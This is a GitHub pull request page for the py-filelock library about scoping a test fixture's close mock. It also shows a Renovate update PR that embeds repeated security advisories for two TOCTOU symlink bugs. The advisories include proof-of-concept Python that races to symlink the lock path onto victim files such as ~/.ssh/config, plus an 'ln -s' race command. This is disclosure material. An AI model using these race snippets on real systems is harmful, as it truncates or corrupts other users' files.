Repository navigation
🧪 test(conftest): scope the close mock to one descriptor - #656
Merged
gaborbernat merged 2 commits intoJul 14, 2026
Merged
Conversation
The close_failure fixture patched filelock._api.os.close, and filelock._api.os is the os module, so every os.close in the process raised OSError for as long as a test held the mock. CPython hides the damage because refcounting reclaims lock objects promptly, outside that window. PyPy reclaims them whenever a GC cycle runs, so a cycle can land inside it: BaseFileLock __del__ force-releases a lock left held by an earlier test, its close raises, and the exception escapes the finalizer as an unraisable that pytest reports against whichever test happens to be running. The pypy3.11 job hit this and blamed an unrelated test. Raise from the mock only for the descriptor the test captured and delegate every other descriptor to the real os.close. The lock under test still fails to close, so the close_error_policy cases keep their meaning, while a collector running a finalizer mid-test no longer trips over an unrelated fd. Drop the coverage-path-remapping fragment along with it. tox-dev#651 changed how CI maps coverage paths, which users never see, and the slug also breaks the :pr: role the changelog renders every fragment with.
towncrier check demands a fragment from every non-bot PR, so an internal change either invents a user-facing changelog line or leaves the job red. Neither serves a reader of the changelog. Skip the job for PRs carrying the skip news label. The check keeps its teeth for anything a user of the library can observe, and this PR wears the label because scoping a test fixture's mock changes nothing they see.
gaborbernat
force-pushed
the
fix/close-failure-mock-scope
branch
from
July 14, 2026 15:26
323e5de to
65c9d42
Compare
gaborbernat
added a commit
that referenced
this pull request
Jul 14, 2026
SQLite forbids a process from using or closing a database connection inherited through `fork()`. Read-write locks kept one connection for the object's lifetime, so a child could close its parent's handle during interpreter shutdown and corrupt the database. Each outer acquisition now owns its connection, and a forked child abandons inherited handles according to [SQLite's fork guidance](https://sqlite.org/howtocorrupt.html#_carrying_an_open_database_connection_across_a_fork_). Closes #635. The child rejects an active database by canonical path or inode until `exec()`. CPython 3.10 and 3.11 keep inherited base connections alive through a raw-reference escrow; later CPython versions use the guarded subclass finalizer. The implementation follows the [CPython 3.10 `_sqlite` lifecycle](https://github.com/python/cpython/blob/v3.10.20/Modules/_sqlite/connection.c) and [current CPython source](https://github.com/python/cpython/blob/main/Modules/_sqlite/connection.c). A child forked from a SQLite callback waits for the call to leave SQLite, or exits with status 70 if an earlier audit hook prevents coordination. Fork registration uses a reentrant gate because connection finalizers can register another lock while the current thread owns that gate. PyPy can retain unsafe process-wide SQLite state after tracked connections close. A PyPy child rejects read-write locks when the parent used SQLite after importing filelock; importing filelock in the child cannot detect earlier parent use. The public acquisition interfaces stay unchanged. Final release closes the per-acquisition connection. A local 2,000-acquisition benchmark measured 5.7 microseconds for the former persistent connection and 45.6 microseconds for the per-acquisition design. This replaces #654, which GitHub closed after merging #653 deleted its base branch `fix/634-fork-ownership`. The branch now sits on `main` and carries the same work. It also carries the `close_failure` fixture change from #656, without which the `pypy3.11` job fails here. Landing #656 first drops that commit from this branch on the next rebase.
renovate-coop-norge Bot
added a commit
to coopnorge/engineering-docker-images
that referenced
this pull request
Jul 16, 2026
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [filelock](https://redirect.github.com/tox-dev/py-filelock) | `3.29.7` → `3.30.0` |  |  | --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-w853-jp5j-5j7f) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock has a TOCTOU race condition which allows symlink attacks during lock file creation [CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) / [GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) / PYSEC-2026-1375 <details> <summary>More information</summary> #### Details ##### Impact A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. **Who is impacted:** All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries: - **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths - **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures - **poetry/tox users**: through using virtualenv or filelock on their own. Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. ##### Patches Fixed in version **3.20.1**. **Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following. **Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire(). **Users should upgrade to filelock 3.20.1 or later immediately.** ##### Workarounds If immediate upgrade is not possible: 1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases) 2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks 3. Monitor lock file directories for suspicious symlinks before running trusted applications **Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended. ______________________________________________________________________ ##### Technical Details: How the Exploit Works ##### The Vulnerable Code Pattern **Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`): ```python def _acquire(self) -> None: ensure_directory_exists(self.lock_file) open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist? open_flags |= os.O_CREAT fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate ``` **Windows** (`src/filelock/_windows.py:19-28`): ```python def _acquire(self) -> None: raise_on_not_writable_file(self.lock_file) # (1) Check writability ensure_directory_exists(self.lock_file) flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate ``` ##### The Race Window The vulnerability exists in the gap between operations: **Unix variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file exists? → False T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` **Windows variant:** ``` Time Victim Thread Attacker Thread ---- ------------- --------------- T0 Check: lock_file writable? T1 ↓ RACE WINDOW T2 Create symlink: lock → victim_file T3 Open lock_file with O_TRUNC → Follows symlink/junction → Opens victim_file → Truncates victim_file to 0 bytes! ☠️ ``` ##### Step-by-Step Attack Flow **1. Attacker Setup:** ```python ##### Attacker identifies target application using filelock lock_path = "/tmp/myapp.lock" # Predictable lock path victim_file = "/home/victim/.ssh/config" # High-value target ``` **2. Attacker Creates Race Condition:** ```python import os import threading def attacker_thread(): # Remove any existing lock file try: os.unlink(lock_path) except FileNotFoundError: pass # Create symlink pointing to victim file os.symlink(victim_file, lock_path) print(f"[Attacker] Created: {lock_path} → {victim_file}") ##### Launch attack threading.Thread(target=attacker_thread).start() ``` **3. Victim Application Runs:** ```python from filelock import UnixFileLock ##### Normal application code lock = UnixFileLock("/tmp/myapp.lock") lock.acquire() # ← VULNERABILITY TRIGGERED HERE ##### At this point, /home/victim/.ssh/config is now 0 bytes! ``` **4. What Happens Inside os.open():** On Unix systems, when `os.open()` is called: ```c // Linux kernel behavior (simplified) int open(const char *pathname, int flags) { struct file *f = path_lookup(pathname); // Resolves symlinks by default! if (flags & O_TRUNC) { truncate_file(f); // ← Truncates the TARGET of the symlink } return file_descriptor; } ``` Without `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file. ##### Why the Attack Succeeds Reliably **Timing Characteristics:** - **Check operation** (Path.exists()): ~100-500 nanoseconds - **Symlink creation** (os.symlink()): ~1-10 microseconds - **Race window**: ~1-5 microseconds (very small but exploitable) - **Thread scheduling quantum**: ~1-10 milliseconds **Success factors:** 1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts 2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations 3. **No synchronization**: No atomic file creation prevents the race 4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation) ##### Real-World Attack Scenarios **Scenario 1: virtualenv Exploitation** ```python ##### Victim runs: python -m venv /tmp/myenv ##### Attacker racing to create: os.symlink("/home/victim/.bashrc", "/tmp/myenv/pyvenv.cfg") ##### Result: /home/victim/.bashrc overwritten with: ##### home = /usr/bin/python3 ##### include-system-site-packages = false ##### version = 3.11.2 ##### ← Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker ``` **Scenario 2: PyTorch Cache Poisoning** ```python ##### Victim runs: import torch ##### PyTorch checks CPU capabilities, uses filelock on cache ##### Attacker racing to create: os.symlink("/home/victim/.torch/compiled_model.pt", "/home/victim/.cache/torch/cpu_isa_check.lock") ##### Result: Trained ML model checkpoint truncated to 0 bytes ##### Impact: Weeks of training lost, ML pipeline DoS ``` ##### Why Standard Defenses Don't Help **File permissions don't prevent this:** - Attacker doesn't need write access to victim_file - os.open() with O_TRUNC follows symlinks using the *victim's* permissions - The victim process truncates its own file **Directory permissions help but aren't always feasible:** - Lock files often created in shared /tmp directory (mode 1777) - Applications may not control lock file location - Many apps use predictable paths in user-writable directories **File locking doesn't prevent this:** - The truncation happens *during* the open() call, before any lock is acquired - fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks ##### Exploitation Proof-of-Concept Results From empirical testing with the provided PoCs: **Simple Direct Attack** (`filelock_simple_poc.py`): - Success rate: 33% per attempt (1 in 3 tries) - Average attempts to success: 2.1 - Target file reduced to 0 bytes in \<100ms **virtualenv Attack** (`weaponized_virtualenv.py`): - Success rate: ~90% on first attempt (deterministic timing) - Information leaked: File paths, Python version, system configuration - Data corruption: Complete loss of original file contents **PyTorch Attack** (`weaponized_pytorch.py`): - Success rate: 25-40% per attempt - Impact: Application crashes, model loading failures - Recovery: Requires cache rebuild or model retraining **Discovered and reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 6.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f) - [https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e](https://redirect.github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) - [https://github.com/tox-dev/filelock/releases/tag/3.20.1](https://redirect.github.com/tox-dev/filelock/releases/tag/3.20.1) - [https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants](https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants) - [https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html](https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html) - [https://pypi.org/project/filelock](https://pypi.org/project/filelock) - [https://github.com/advisories/GHSA-w853-jp5j-5j7f](https://redirect.github.com/advisories/GHSA-w853-jp5j-5j7f) - [https://nvd.nist.gov/vuln/detail/CVE-2025-68146](https://nvd.nist.gov/vuln/detail/CVE-2025-68146) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-1375) and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database) ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - [https://github.com/tox-dev/filelock](https://redirect.github.com/tox-dev/filelock) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-qmgc-5h2g-mvrw) and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock [CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) / [GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/advisories/GHSA-qmgc-5h2g-mvrw) / PYSEC-2026-1374 <details> <summary>More information</summary> #### Details ##### Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ##### Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ##### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ##### Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ##### Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ##### Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ##### References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@​tsigouris007) #### Severity - CVSS Score: 5.3 / 10 (Medium) - Vector String: `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:H` #### References - [https://github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw](https://redirect.github.com/tox-dev/filelock/security/advisories/GHSA-qmgc-5h2g-mvrw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-22701](https://nvd.nist.gov/vuln/detail/CVE-2026-22701) - [https://github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0](https://redirect.github.com/tox-dev/filelock/commit/255ed068bc85d1ef406e50a135e1459170dd1bf0) - [https://github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5](https://redirect.github.com/tox-dev/filelock/commit/41b42dd2c72aecf7da83dbda5903b8087dddc4d5) - 